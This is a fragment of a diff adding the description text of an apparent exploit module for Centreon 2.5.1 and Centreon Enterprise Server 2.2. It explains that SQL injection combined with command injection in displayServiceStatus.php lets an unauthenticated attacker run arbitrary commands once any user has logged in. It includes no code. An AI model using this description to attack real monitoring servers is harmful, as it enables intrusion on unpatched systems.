+        This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
+        Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
+        injection in the displayServiceStatus.php component, it is possible to execute arbitrary
+        commands as long as there is a valid session registered in the centreon.session table.
+        In order to have a valid session, all it takes is a successful login from anybody.
+        The exploit itself does not require any authentication.
+
+        This module has been tested successfully on Centreon Enterprise Server 2.2.
